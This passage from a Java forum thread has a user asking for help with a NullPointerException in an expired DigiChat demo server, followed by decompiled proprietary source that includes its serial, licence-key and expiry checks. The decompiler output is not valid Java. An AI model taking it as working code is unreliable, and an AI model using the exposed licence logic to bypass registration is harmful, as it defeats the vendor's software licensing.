Welcome to the Java Programming Forums


The professional, friendly Java community. 21,500 members and growing!


The Java Programming Forums are a community of Java programmers from all around the World. Our members have a wide range of skills and they all have one thing in common: A passion to learn and code Java. We invite beginner Java programmers right through to Java professionals to post here and share your knowledge. Become a part of the community, help others, expand your knowledge of Java and enjoy talking with like minded people. Registration is quick and best of all free. We look forward to meeting you.


>> REGISTER NOW TO START POSTING


Members have full access to the forums. Advertisements are removed for registered users.

Results 1 to 11 of 11

Thread: NullPointer Exception and error while running bat file in chat server program

  1. #1
    Junior Member
    Join Date
    May 2009
    Posts
    4
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default NullPointer Exception and error while running bat file in chat server program

    Hello, I have A chat server programmed in java... it runs with PostGRESQL database just to let you guys know..

    I'm having this error... and been trying to fix it for months.... if anyone could help me resolve this issue i would appreciate it alot.


    The Error I get when I Run the bat file to start the Server is this... (Error In Bold)


    Also I can post the whole program source after the expired part which error occours on




    Java -cp Server.zip com.diginet.digichat.server.ChatServer client=xClient,Client

    ChatServer params: client=xClient,Client ports=8896,8897,8898,8899
    Your DigiChat demo expired on Thu Aug 17 11:59:45 BST 1939
    Please log in as Admin and add a serial number.
    This server allows the following:
    Unlimited sites
    1 users
    0 rooms
    No Moderated Chat
    No Commander Login
    Expires on: Thu Aug 17 11:59:45 BST 1939
    Exception in thread "main" java.lang.NullPointerException
    at com.diginet.digichat.server.ChatServer.<init>(Unkn own Source)
    at com.diginet.digichat.server.ChatServer.main(Unknow n Source
    )
    Last edited by illucidryan; May 6th, 2009 at 03:23 PM.


  2. #2
    mmm.. coffee JavaPF's Avatar
    Join Date
    May 2008
    Location
    United Kingdom
    Posts
    3,336
    My Mood
    Mellow
    Thanks
    258
    Thanked 287 Times in 225 Posts
    Blog Entries
    4

    Default Re: Java Chat Server Help.

    Hello illucidryan and welcome to the Java Programming Forums

    The java.lang.NullPointerException is thrown when an application attempts to use null in a case where an object is required.

    It will be impossible for me to offer a solution without first seeing the code in question.

    Could you please post all of your Java classes?
    Please use [highlight=Java] code [/highlight] tags when posting your code.
    Forum Tip: Add to peoples reputation by clicking the button on their useful posts.

    Looking for a Java job? Visit - Java Programming Careers

  3. #3
    Junior Member
    Join Date
    May 2009
    Posts
    4
    Thanks
    0
    Thanked 0 Times in 0 Posts

    Default Re: Java Chat Server Help.

    Well here is the com.diginet.digichat.server.ChatServer CLASS FILE.

    // Decompiled by DJ v3.10.10.93 Copyright 2007 Atanas Neshkov  Date: 5/6/2009 6:35:04 PM
    // Home Page: [URL="http://members.fortunecity.com/neshkov/dj.html"]DJ Java Decompiler - java disassembler decompiler and editor[/URL]  [URL="http://www.neshkov.com/dj.html"]DJ Java Decompiler - java disassembler decompiler and editor[/URL] - Check often for new version!
    // Decompiler options: packimports(3) 
     
    package com.diginet.digichat.server;
     
    import com.a.a.a;
    import com.diginet.digichat.common.Key;
    import com.diginet.digichat.common.SerialInfo;
    import com.diginet.oldchat.b.c;
    import com.diginet.oldchat.b.i;
    import com.diginet.oldchat.b.n;
    import com.diginet.oldchat.b.p;
    import com.diginet.oldchat.c.b;
    import com.diginet.oldchat.common.j;
    import com.diginet.oldchat.common.r;
    import com.diginet.oldchat.common.t;
    import com.diginet.oldchat.common.u;
    import com.diginet.oldchat.common.v;
    import com.diginet.oldchat.common.x;
    import com.diginet.oldchat.d.f;
    import com.diginet.oldchat.h.h;
    import com.diginet.oldchat.server.an;
    import com.diginet.oldchat.server.d;
    import com.diginet.oldchat.server.e;
    import com.diginet.oldchat.server.g;
    import com.diginet.oldchat.server.k;
    import com.diginet.oldchat.server.l;
    import com.diginet.oldchat.server.m;
    import com.juse.xmppserver.modules.server.BasicModule;
    import java.awt.FileDialog;
    import java.awt.Frame;
    import java.awt.Label;
    import java.io.BufferedReader;
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.FileNotFoundException;
    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.ObjectInputStream;
    import java.io.ObjectOutputStream;
    import java.io.PrintStream;
    import java.io.RandomAccessFile;
    import java.net.InetAddress;
    import java.text.DateFormat;
    import java.util.Collection;
    import java.util.Date;
    import java.util.Iterator;
    import java.util.LinkedHashMap;
    import java.util.Map;
    import java.util.Properties;
    import java.util.StringTokenizer;
    import java.util.TimeZone;
    import java.util.Vector;
    import org.dom4j.Document;
    import org.dom4j.Element;
    import org.dom4j.io.SAXReader;
     
    public class ChatServer
    {
     
        public static void main(String args[])
        {
            Compiler.disable();
            int i1 = 20;
            boolean flag = false;
            Object obj;
            try
            {
                if(((File) (obj = new File(t_java_io_File_static_fld, "parameters"))).exists())
                {
                    RandomAccessFile randomaccessfile;
                    byte abyte0[] = new byte[(int)(randomaccessfile = new RandomAccessFile(((File) (obj)), "r")).length()];
                    randomaccessfile.read(abyte0);
                    if((abyte0 = new String(abyte0)) != "")
                    {
                        int l1 = (abyte0 = new StringTokenizer(abyte0)).countTokens();
                        String args1[] = new String[args.length + l1];
                        for(int i2 = 0; i2 < args.length; i2++)
                            args1[i2] = args[i2];
     
                        for(int j2 = 0; j2 < l1; j2++)
                            args1[j2 + args.length] = abyte0.nextToken();
     
                        args = args1;
                    }
                }
            }
            catch(Exception exception) { }
            try
            {
                if((exception = new File(t_java_io_File_static_fld, "setup.txt")).exists())
                {
                    FileInputStream fileinputstream = new FileInputStream(exception);
                    q_java_util_Properties_static_fld.load(fileinputstream);
                    fileinputstream.close();
                    exception.delete();
                }
            }
            catch(Exception _ex) { }
            com.diginet.oldchat.common.j.q(j.q_java_lang_String_static_fld);
            for(int j1 = 0; j1 < args.length; j1++)
            {
                if("noconsole".equalsIgnoreCase(args[j1]))
                {
                    flag = false;
                    continue;
                }
                if("console".equalsIgnoreCase(args[j1]))
                {
                    flag = true;
                    continue;
                }
                if("debug".equalsIgnoreCase(args[j1]))
                {
                    q_boolean_static_fld = true;
                    continue;
                }
                if("resetPassword".equalsIgnoreCase(args[j1]))
                {
                    u_boolean_static_fld = true;
                    continue;
                }
                if("resetWebRoot".equalsIgnoreCase(args[j1]))
                {
                    t_boolean_static_fld = true;
                    continue;
                }
                if("digiposts".equalsIgnoreCase(args[j1]))
                {
                    w_boolean_static_fld = true;
                    continue;
                }
                if("keepHistory".equalsIgnoreCase(args[j1]))
                {
                    x.q = true;
                    continue;
                }
                if(args[j1].startsWith("timeout="))
                {
                    try
                    {
                        i1 = Integer.parseInt(args[j1].substring(8));
                    }
                    catch(NumberFormatException numberformatexception)
                    {
                        System.err.println(args[j1].substring(8));
                    }
                    continue;
                }
                if(args[j1].startsWith("language="))
                {
                    if((q_java_lang_String_static_fld = args[j1].substring(9)) == null)
                        continue;
                    try
                    {
                        File file = new File(t_java_io_File_static_fld, (new StringBuilder()).append("languages/").append(q_java_lang_String_static_fld).toString());
                        new com.a.b.a(new a(new FileInputStream(file)));
                    }
                    catch(Exception exception1) { }
                    continue;
                }
                if(args[j1].startsWith("ports="))
                {
                    String s1 = args[j1].substring(6);
                    com.diginet.oldchat.common.j.q();
                    com.diginet.oldchat.common.j.q(s1);
                    continue;
                }
                if(args[j1].startsWith("out="))
                {
                    try
                    {
                        System.setOut(new PrintStream(new FileOutputStream(args[j1].substring(4))));
                    }
                    catch(IOException ioexception) { }
                    continue;
                }
                if(args[j1].startsWith("err="))
                {
                    try
                    {
                        System.setErr(new PrintStream(new FileOutputStream(args[j1].substring(4))));
                    }
                    catch(IOException ioexception1) { }
                    continue;
                }
                if(args[j1].startsWith("buffer="))
                {
                    try
                    {
                        d.q = Integer.parseInt(args[j1].substring(7));
                    }
                    catch(NumberFormatException numberformatexception1)
                    {
                        System.err.println(args[j1].substring(7));
                    }
                    continue;
                }
                String s2;
                if(args[j1].startsWith("client="))
                    i.q = (s2 = args[j1].substring(7)).split(",");
            }
     
            System.out.print("ChatServer params: ");
            for(int k1 = 0; k1 < args.length; k1++)
                System.out.print((new StringBuilder()).append(args[k1]).append(" ").toString());
     
            System.out.println("");
            if(p.q)
                flag = true;
            if(!q_boolean_static_fld)
                Compiler.enable();
            new ChatServer(flag, i1, null);
        }
     
        public static synchronized void m()
        {
            if(q_com_diginet_digichat_common_SerialInfo_static_fld == null)
            {
                System.out.println("The registration information of your system has been damaged.");
                System.out.println("Please contact [EMAIL="support@digichat.com"]support@digichat.com[/EMAIL] for more information.");
                return;
            }
            if(q_java_util_Vector_static_fld.size() <= 0)
            {
                e_int_static_fld = 1023;
                r_int_static_fld = 1;
                t_int_static_fld = 0;
                e_boolean_static_fld = false;
                r_boolean_static_fld = false;
                if(q_com_diginet_digichat_common_SerialInfo_static_fld.serialNumber == 0L && ((long)q_com_diginet_digichat_common_SerialInfo_static_fld.orderNumber << 9) - System.currentTimeMillis() < 0L)
                {
                    System.out.println((new StringBuilder()).append("Your DigiChat demo expired on ").append(new Date((long)q_com_diginet_digichat_common_SerialInfo_static_fld.orderNumber << 9)).toString());
                    System.out.println("Please log in as Admin and add a serial number.");
                    return;
                }
                if(q_com_diginet_digichat_common_SerialInfo_static_fld.serialNumber != 0L && q_com_diginet_digichat_common_SerialInfo_static_fld.getExpirationDate().getTime() - System.currentTimeMillis() < 0L)
                {
                    System.out.println((new StringBuilder()).append("Your DigiChat temporary license expired on ").append(q_com_diginet_digichat_common_SerialInfo_static_fld.getExpirationDate()).toString());
                    System.out.println("Please log in as Admin and add a license key.");
                    return;
                } else
                {
                    e_int_static_fld = 1023;
                    r_int_static_fld = 5;
                    t_int_static_fld = 3;
                    e_boolean_static_fld = true;
                    r_boolean_static_fld = false;
                    return;
                }
            }
            e_int_static_fld = 1;
            r_int_static_fld = 1;
            t_int_static_fld = 0;
            e_boolean_static_fld = false;
            r_boolean_static_fld = false;
            w_java_util_Date_static_fld = new Date();
            Date date = new Date();
            for(int i1 = 0; i1 < q_java_util_Vector_static_fld.size(); i1++)
            {
                Key key;
                if((key = (Key)q_java_util_Vector_static_fld.elementAt(i1)).isValid() && key.isValid(q_com_diginet_digichat_common_SerialInfo_static_fld.serialNumber) && date.before(key.getExpirationDate()))
                {
                    int j1;
                    if(e_int_static_fld != 1023)
                        if((j1 = key.getSites()) == 1023)
                            e_int_static_fld = 1023;
                        else
                            e_int_static_fld += j1;
                    if(r_int_static_fld != 1023)
                        if((j1 = key.getUsers()) == 1023)
                            r_int_static_fld = 1023;
                        else
                            r_int_static_fld += j1;
                    if(t_int_static_fld != 1023)
                        if((j1 = key.getRooms()) == 1023)
                            t_int_static_fld = 1023;
                        else
                            t_int_static_fld += j1;
                    if(!e_boolean_static_fld)
                        e_boolean_static_fld = key.isModeratedChatAllowed();
                    if(!r_boolean_static_fld)
                        r_boolean_static_fld = key.isCommanderAllowed();
                    if(w_java_util_Date_static_fld.before(key.getExpirationDate()))
                        w_java_util_Date_static_fld = key.getExpirationDate();
                    continue;
                }
                if(!q_boolean_static_fld)
                    continue;
                if(date.before(key.getExpirationDate()))
                    System.out.println((new StringBuilder()).append("Ignored key ").append(key.getKey()).append(" because it is invalid.").toString());
                else
                    System.out.println((new StringBuilder()).append("Ignored key ").append(key.getKey()).append(" because it has expired.").toString());
            }
     
        }
     
        public static boolean q(long l1)
        {
            return l1 >= 0x400000000000000L;
        }
     
        private void e(com.diginet.oldchat.j.a a1)
        {
            switch(a1.q())
            {
            case 67337: 
                q(a1, true);
                return;
     
            case 67842: 
                a1 = a1;
                this = this;
                y_java_io_File_fld = new File(a1.q(0, 0));
                r_java_io_File_fld = new File(y_java_io_File_fld, (new StringBuilder()).append("DigiClasses").append(File.separator).append("Resources").toString());
                long l1 = a1.q(0, 0);
                q_com_diginet_oldchat_common_r_fld = a1.q(0, 0);
                if(q_com_diginet_oldchat_common_r_fld == null)
                    q_com_diginet_oldchat_common_r_fld = new r("DigiChat");
                long _tmp = l1;
                break;
            }
        }
     
        public static Date q()
        {
            return w_java_util_Date_static_fld;
        }
     
        public static com.diginet.oldchat.j.a q()
        {
            SerialInfo serialinfo = q_com_diginet_digichat_common_SerialInfo_static_fld;
            com.diginet.oldchat.server.g.j();
            (a1 = new com.diginet.oldchat.j.a(0x1070a, 1)).q(0, 0, serialinfo.name);
            return a1;
        }
     
        public static int q()
        {
            return t_int_static_fld;
        }
     
        public static int w()
        {
            return e_int_static_fld;
        }
     
        public static int e()
        {
            return r_int_static_fld;
        }
     
        private final void s()
        {
            this = new File(w_java_io_File_fld, "registration.digi");
            try
            {
                if(exists())
                {
                    a(this = new ObjectInputStream(new FileInputStream(this)));
                    Object obj;
                    if((obj = readObject()) instanceof SerialInfo)
                        q_com_diginet_digichat_common_SerialInfo_static_fld = (SerialInfo)obj;
                    else
                    if((q_com_diginet_digichat_common_SerialInfo_static_fld = null) == null)
                        System.err.println("Unexpected registration data");
                    q_java_util_Date_static_fld = q_com_diginet_digichat_common_SerialInfo_static_fld.getExpirationDate();
                    if(q_com_diginet_digichat_common_SerialInfo_static_fld.serialNumber == 0L)
                    {
                        q_java_util_Date_static_fld = new Date((long)q_com_diginet_digichat_common_SerialInfo_static_fld.orderNumber << 9);
                    } else
                    {
                        if(!q_com_diginet_digichat_common_SerialInfo_static_fld.isValid())
                        {
                            System.out.println("Invalid Registration Information");
                            throw new Exception();
                        }
                        try
                        {
                            for(Object obj2 = readObject(); obj2 != null; obj2 = readObject())
                            {
                                Key key;
                                if(obj2 instanceof Key)
                                    key = (Key)obj2;
                                else
                                    key = digi.digichat.ChatServer.q(obj2);
                                if(key != null && key.isValid(q_com_diginet_digichat_common_SerialInfo_static_fld.serialNumber) && q_java_util_Vector_static_fld.indexOf(key) == -1 && System.currentTimeMillis() <= key.getExpirationDate().getTime())
                                    q_java_util_Vector_static_fld.addElement(key);
                            }
     
                        }
                        catch(IOException ioexception) { }
                    }
                    close();
                }
            }
            // Misplaced declaration of an exception variable
            catch(ChatServer this)
            {
                System.out.println("DigiChat was unable to read your registration information.");
                System.out.println("You will need to re-enter this information.\n");
            }
            if(q_com_diginet_digichat_common_SerialInfo_static_fld == null)
            {
                this = q_java_util_Properties_static_fld.getProperty("companyName");
                if("".equals(this) || this == null)
                    this = "Evaluation Copy";
                int i1 = 0;
                try
                {
                    String s1 = q_java_util_Properties_static_fld.getProperty("serialNum");
                    if("".equals(s1) || s1 == null)
                        s1 = "0";
                    String s3 = q_java_util_Properties_static_fld.getProperty("orderNum");
                    if(!"".equals(s3) && s3 != null)
                        i1 = Integer.parseInt(s3);
                    if(!(q_com_diginet_digichat_common_SerialInfo_static_fld = new SerialInfo(this, s1, i1)).isValid())
                    {
                        q_com_diginet_digichat_common_SerialInfo_static_fld = null;
                    } else
                    {
                        Object obj1 = q_java_util_Properties_static_fld.getProperty("orderSerial");
                        if("".equals(obj1) || obj1 == null)
                            obj1 = "0";
                        String s2 = q_java_util_Properties_static_fld.getProperty("orderKey");
                        if("".equals(s2) || s2 == null)
                            s2 = "0";
                        try
                        {
                            if(((Key) (obj1 = new Key(s2, ((String) (obj1))))).isValid(q_com_diginet_digichat_common_SerialInfo_static_fld.serialNumber) && q_java_util_Vector_static_fld.indexOf(obj1) == -1 && System.currentTimeMillis() <= ((Key) (obj1)).getExpirationDate().getTime())
                                q_java_util_Vector_static_fld.addElement(obj1);
                        }
                        catch(Exception _ex) { }
                    }
                    q_java_util_Date_static_fld = q_com_diginet_digichat_common_SerialInfo_static_fld.getExpirationDate();
                }
                catch(Exception _ex)
                {
                    q_com_diginet_digichat_common_SerialInfo_static_fld = null;
                }
                if(q_com_diginet_digichat_common_SerialInfo_static_fld == null)
                {
                    q_com_diginet_digichat_common_SerialInfo_static_fld = new SerialInfo(this, 0L, (int)(System.currentTimeMillis() + 0xf731400L >> 9));
                    q_java_util_Date_static_fld = new Date((long)q_com_diginet_digichat_common_SerialInfo_static_fld.orderNumber << 9);
                }
            }
        }
     
        private com.diginet.oldchat.j.a t()
        {
            com.diginet.oldchat.j.a a1;
            (a1 = new com.diginet.oldchat.j.a(0x10902, 1)).q(0, 0, y_java_io_File_fld.getAbsolutePath());
            a1.q(0, 0, 0x400030040000001L);
            a1.q(0, 0, q_com_diginet_oldchat_common_r_fld);
            return a1;
        }
     
        public final com.diginet.oldchat.j.a w()
        {
            com.diginet.oldchat.j.a a1;
            (a1 = new com.diginet.oldchat.j.a(0x10b01, 1)).q(0, 0, e_java_util_Date_fld.getTime());
            a1.q(0, 2, Thread.activeCount());
            a1.q(0, 3, w_int_fld);
            a1.q(0, 0, y_java_io_File_fld.toString());
            a1.q(0, 4, Runtime.getRuntime().totalMemory());
            return a1;
        }
     
        public static int a(ObjectInputStream objectinputstream)
        {
            try
            {
                return ((Integer)objectinputstream.readObject()).intValue();
            }
            // Misplaced declaration of an exception variable
            catch(ObjectInputStream objectinputstream)
            {
                throw new IOException(objectinputstream.getMessage());
            }
        }
     
        public final com.diginet.oldchat.j.a e()
        {
            try
            {
                int i1 = q_com_diginet_oldchat_b_c_fld.q();
                com.diginet.oldchat.j.a a1 = new com.diginet.oldchat.j.a(0x10709, i1);
                int j1 = 0;
                Integer ainteger[];
                int k1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
                for(int l1 = 0; l1 < k1; l1++)
                {
                    int i2 = ainteger[l1].intValue();
                    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(i2);
                    a1.q(j1, 0, m1.q());
                    a1.q(j1, 1, ((v) (m1)).q_int_fld);
                    a1.q(j1, 2, ((v) (m1)).r);
                    a1.q(j1, 0, m1.q());
                    a1.q(j1, m1.q());
                    a1.q(j1, 3, m1.r);
                    a1.q(j1, 5, m1.t_int_fld);
                    a1.q(j1, 6, m1.y);
                    a1.q(j1, 1, m1.w);
                    a1.q(j1, 2, m1.q_java_lang_String_fld);
                    j1++;
                }
     
                return a1;
            }
            catch(Exception exception)
            {
                throw new IOException(exception.getMessage());
            }
        }
     
        public final com.diginet.oldchat.j.a r()
        {
            try
            {
                int i1 = q_com_diginet_oldchat_b_c_fld.q();
                com.diginet.oldchat.j.a a1 = new com.diginet.oldchat.j.a(0x10b00, i1);
                int j1 = 0;
                Integer ainteger[];
                int k1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
                for(int l1 = 0; l1 < k1; l1++)
                {
                    int i2 = ainteger[l1].intValue();
                    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(i2);
                    a1.q(j1, 0, m1.q());
                    a1.q(j1, 1, m1.q_com_diginet_oldchat_b_c_fld.q());
                    a1.q(j1, 2, ((v) (m1)).w_int_fld);
                    a1.q(j1, 3, ((v) (m1)).e_int_fld);
                    a1.q(j1, 4, ((v) (m1)).q_long_fld);
                    a1.q(j1, 6, ((v) (m1)).w_long_fld);
                    a1.q(j1, 8, ((v) (m1)).e_long_fld);
                    a1.q(j1, 10, m1.r);
                    a1.q(j1, 12, m1.t_int_fld);
                    a1.q(j1, 13, m1.y);
                    a1.q(j1, 0, m1.w);
                    j1++;
                }
     
                return a1;
            }
            catch(Exception exception)
            {
                throw new IOException(exception.getMessage());
            }
        }
     
        public final int r()
        {
            int i1 = 0;
            synchronized(q_com_diginet_oldchat_b_c_fld)
            {
                Integer ainteger[];
                int j1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
                for(int k1 = 0; k1 < j1; k1++)
                {
                    int l1 = ainteger[k1].intValue();
                    m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(l1);
                    i1 += m1.r();
                }
     
            }
            break MISSING_BLOCK_LABEL_81;
            this;
            throw this;
            return i1;
        }
     
        public void f()
        {
            if(p.q)
            {
                e e1 = new e();
                try
                {
                    synchronized(e1.q)
                    {
                        e1.q.wait();
                    }
                }
                catch(InterruptedException _ex) { }
                q_java_lang_String_array1d_fld = e1.q();
            } else
            {
                System.out.println("\n\nPlease enter DigiPosts settings.");
                BufferedReader bufferedreader = new BufferedReader(new InputStreamReader(System.in));
                System.out.print("Please enter database username: ");
                try
                {
                    q_java_lang_String_array1d_fld[0] = bufferedreader.readLine();
                }
                catch(Exception _ex) { }
                System.out.print("Please enter database password: ");
                try
                {
                    q_java_lang_String_array1d_fld[1] = bufferedreader.readLine();
                }
                catch(Exception _ex) { }
                System.out.print("Please enter database URL: ");
                try
                {
                    q_java_lang_String_array1d_fld[2] = bufferedreader.readLine();
                }
                catch(Exception _ex) { }
                System.out.print("Please enter database driver: ");
                try
                {
                    q_java_lang_String_array1d_fld[3] = bufferedreader.readLine();
                }
                catch(Exception _ex) { }
            }
            System.out.println();
        }
     
        public void g()
        {
            com.diginet.oldchat.common.p p1;
            if(!w_java_io_File_fld.exists())
                w_java_io_File_fld.mkdirs();
            p1 = new com.diginet.oldchat.common.p(new File(w_java_io_File_fld, "digipost.digi"), e_java_io_File_fld, true);
            com.diginet.oldchat.j.a a1;
            (a1 = new com.diginet.oldchat.j.a(0x3010d00, 1)).q(0, 0, new r(q_java_lang_String_array1d_fld[1]));
            a1.q(0, 0, q_java_lang_String_array1d_fld[0]);
            a1.q(0, 1, q_java_lang_String_array1d_fld[2]);
            a1.q(0, 2, q_java_lang_String_array1d_fld[3]);
            p1.q(a1);
            p1.q();
            return;
            this;
            p1.q();
            throw this;
        }
     
        public static File t()
        {
            BufferedReader bufferedreader;
            if(p.q)
            {
                Object obj;
                String s1;
                do
                {
                    obj = new Frame();
                    (new h(((Frame) (obj)), "Note", "The DigiChat Applet must be installed to your web server root directory. The web server root is the directory where your HTML files are made available to users on the web.", null)).setVisible(true);
                    if(p.q)
                        obj = new FileDialog(((Frame) (obj)), "Select web server root.", 3);
                    else
                        obj = new FileDialog(((Frame) (obj)), "Select web server root.", 1);
                    ((FileDialog) (obj)).setFile("DigiChat_Applet");
                    ((FileDialog) (obj)).show();
                } while((s1 = ((FileDialog) (obj)).getDirectory()) == null);
                return new File(((FileDialog) (obj)).getDirectory());
            }
            System.out.println("The DigiChat Applet must be installed to your web server root directory.");
            System.out.println("The web server root is the directory where your HTML files are made available to users on the web.");
            System.out.println("Please enter the complete path:");
            if(p.q)
                System.out.print("(e.g., /Macintosh HD/WebStar).");
            else
            if(p.w)
                System.out.print("(e.g., C:\\InetPub\\wwwroot\\).");
            else
                System.out.print("(e.g., /home/httpd/html/).");
            bufferedreader = new BufferedReader(new InputStreamReader(System.in));
    _L2:
            System.out.print(">");
            File file;
            if((file = new File(bufferedreader.readLine())).exists() && file.isDirectory())
                return file;
            try
            {
                System.out.println("");
                System.out.println("The specified directory could not be found.");
                System.out.println("Please re-enter your web server root directory.");
            }
            catch(IOException _ex)
            {
                System.out.println("An error occurred processing your input.");
                System.out.println();
            }
            if(true) goto _L2; else goto _L1
    _L1:
        }
     
        public final int[] q(int i1)
        {
            int ai[];
            int j1;
            Integer ainteger[];
            int k1;
            int l1;
            try
            {
                if(i1 < 0)
                    return new int[0];
            }
            catch(Exception exception)
            {
                throw new IOException(exception.getMessage());
            }
            ai = new int[3];
            j1 = 0;
    _L2:
            if(j1 >= ai.length)
                break MISSING_BLOCK_LABEL_133;
            k1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
            l1 = 0;
    _L1:
            if(l1 >= k1)
                break MISSING_BLOCK_LABEL_111;
            int i2 = ainteger[l1].intValue();
            m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(i2);
            if(i1 == m1.q())
            {
                ai[0] = m1.q_com_diginet_oldchat_b_c_fld.q();
                ai[1] = ((v) (m1)).w_int_fld;
                ai[2] = ((v) (m1)).e_int_fld;
                return ai;
            }
            l1++;
              goto _L1
            j1++;
              goto _L2
            return new int[0];
        }
     
        public final int t()
        {
            int i1 = 0;
            Integer ainteger[];
            int j1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
            for(int k1 = 0; k1 < j1; k1++)
            {
                int l1 = ainteger[k1].intValue();
                m m1 = (m)q_com_diginet_oldchat_b_c_fld.q(l1);
                i1 += m1.q_com_diginet_oldchat_b_c_fld.q();
            }
     
            return i1;
        }
     
        public final c q()
        {
            return q_com_diginet_oldchat_b_c_fld;
        }
     
        public static boolean q()
        {
            return r_boolean_static_fld;
        }
     
        public static boolean w()
        {
            return e_boolean_static_fld;
        }
     
        public final void q(com.diginet.oldchat.j.a a1)
        {
            a1 = a1.q(0, 0);
            if((obj = (m)q_com_diginet_oldchat_b_c_fld.q(a1)) == null)
            {
                com.juse.a.e.w("Site is null. Try to load from file.");
                (a1 = new m(a1, "no name", 100, this)).y();
                return;
            }
            synchronized(q_com_diginet_oldchat_b_c_fld)
            {
                q_com_diginet_oldchat_b_c_fld.q(((com.diginet.oldchat.b.o) (obj)));
            }
            break MISSING_BLOCK_LABEL_76;
            this;
            throw this;
            (a1 = new m(((m) (obj)).q(), ((m) (obj)).q(), ((m) (obj)).q_int_fld, this)).q(((m) (obj)).q());
            a1.r = ((v) (obj)).r;
            ((m) (obj)).q();
            q().q(a1);
            System.out.println((new StringBuilder()).append("Site ").append(a1.toString()).append(" has been restarted.").toString());
            synchronized(q_com_diginet_oldchat_b_c_fld)
            {
                q_com_diginet_oldchat_b_c_fld.q(a1, a1.q(), a1.q());
                a1.y();
            }
            break MISSING_BLOCK_LABEL_199;
            this;
            throw this;
        }
     
        public final void q(com.diginet.oldchat.j.a a1, boolean flag)
        {
            for(int i1 = 0; i1 < a1.w(); i1++)
            {
                int j1 = a1.q(i1, 0);
                Object obj = (m)q_com_diginet_oldchat_b_c_fld.q(j1);
                if(a1.q(i1, 63))
                {
                    q_com_diginet_oldchat_b_c_fld.w(j1);
                    com.juse.a.e.w((new StringBuilder()).append("Site Remove. Site:").append(obj).toString());
                    if(obj != null)
                    {
                        ((m) (obj)).q();
                        j1 = ((int) (obj));
                        ((com.juse.xmppserver.a.a.a.a) (obj = new com.juse.xmppserver.a.a.a.a())).w(j1);
                    }
                    continue;
                }
                if(obj == null)
                {
                    if(e_int_static_fld == 1023 || q_com_diginet_oldchat_b_c_fld.q() < e_int_static_fld || j1 == 0)
                    {
                        obj = new m(j1, a1.q(i1, 0), a1.q(i1, 1), this);
                        j1 = q_com_diginet_oldchat_b_c_fld.q(obj, j1, ((m) (obj)).q());
                        com.juse.a.e.w((new StringBuilder()).append("Added new site:").append(obj).toString());
                        a1.q(i1, 0, j1);
                        ((m) (obj)).q(a1.q(i1));
                        obj.t_long_fld = a1.q(i1);
                        if(w_boolean_static_fld)
                        {
                            obj.r = 1023;
                        } else
                        {
                            obj.r = a1.q(i1, 2);
                            if(((v) (obj)).r == 0)
                                obj.r = 1023;
                        }
                        if(j1 == 0)
                            q_com_diginet_oldchat_server_m_fld = ((m) (obj));
                        obj.r = a1.q(i1, 3);
                        obj.t_int_fld = a1.q(i1, 5);
                        obj.y = a1.q(i1, 6);
                        obj.w = a1.q(i1, 1);
                        if(!flag)
                            obj.q_java_lang_String_fld = a1.q(i1, 2);
                        b b1;
                        if(((m) (obj)).t_int_fld > 0 && q().q())
                            (b1 = new b()).q(((m) (obj)));
                    }
                } else
                {
                    com.juse.a.e.w((new StringBuilder()).append("Update site:").append(obj).toString());
                    ((m) (obj)).q(a1.q(i1, 0));
                    ((m) (obj)).q(a1.q(i1));
                    obj.q_int_fld = a1.q(i1, 1);
                    if(w_boolean_static_fld)
                    {
                        obj.r = 1023;
                    } else
                    {
                        obj.r = a1.q(i1, 2);
                        if(((v) (obj)).r == 0)
                            obj.r = 1023;
                    }
                    obj.r = a1.q(i1, 3);
                    obj.t_int_fld = a1.q(i1, 5);
                    obj.y = a1.q(i1, 6);
                    obj.w = a1.q(i1, 1);
                    if(!flag)
                        obj.q_java_lang_String_fld = a1.q(i1, 2);
                    b b2;
                    if(((m) (obj)).t_int_fld > 0)
                        (b2 = new b()).q(((m) (obj)));
                }
                com.juse.xmppserver.a.a.a.a.e(((com.diginet.oldchat.common.a) (obj)));
                com.diginet.oldchat.server.c c2 = new com.diginet.oldchat.server.c();
                if(!w_boolean_static_fld || !a1.q(i1, 56) || c2.q(j1) || j1 == 0 || a1.q(-1, 56))
                    continue;
                System.out.print((new StringBuilder()).append("Creating site ID ").append(j1).append(" in DigiPosts.... ").toString());
                if(c2.q(j1, q_com_diginet_oldchat_server_m_fld.w(), a1.q(i1, 0), "Created by DigiChat"))
                    System.out.println("created!");
                else
                    System.out.println("error!");
            }
     
            if(e_int_static_fld != 1023)
                q_com_diginet_oldchat_b_c_fld.q();
            break MISSING_BLOCK_LABEL_723;
            a1;
            throw a1;
            if(i)
            {
                synchronized(q_com_diginet_oldchat_b_c_fld)
                {
                    Integer ainteger[];
                    int k1 = (ainteger = q_com_diginet_oldchat_b_c_fld.q()).length;
                    for(int l1 = 0; l1 < k1; l1++)
                    {
                        a1 = ainteger[l1].intValue();
                        a1 = (m)q_com_diginet_oldchat_b_c_fld.q(a1);
                        q().q(a1);
                        a1.y();
                    }
     
                }
                return;
            } else
            {
                return;
            }
        }
     
        public boolean i()
        {
            Object obj;
            if(((File) (obj = new File(w_java_io_File_fld, "digipost.digi"))).exists() && ((com.diginet.oldchat.common.p) (obj = new com.diginet.oldchat.common.p(((File) (obj)), e_java_io_File_fld, false))).q() == 1)
            {
                obj = ((com.diginet.oldchat.common.p) (obj)).q(0);
                q_java_lang_String_array1d_fld[1] = ((com.diginet.oldchat.j.a) (obj)).q(0, 0).toString();
                q_java_lang_String_array1d_fld[0] = ((com.diginet.oldchat.j.a) (obj)).q(0, 0);
                q_java_lang_String_array1d_fld[2] = ((com.diginet.oldchat.j.a) (obj)).q(0, 1);
                q_java_lang_String_array1d_fld[3] = ((com.diginet.oldchat.j.a) (obj)).q(0, 2);
                return true;
            } else
            {
                return false;
            }
        }
     
        public void j()
        {
            Object obj;
            if(((File) (obj = new File(w_java_io_File_fld, "settings.digi"))).exists())
            {
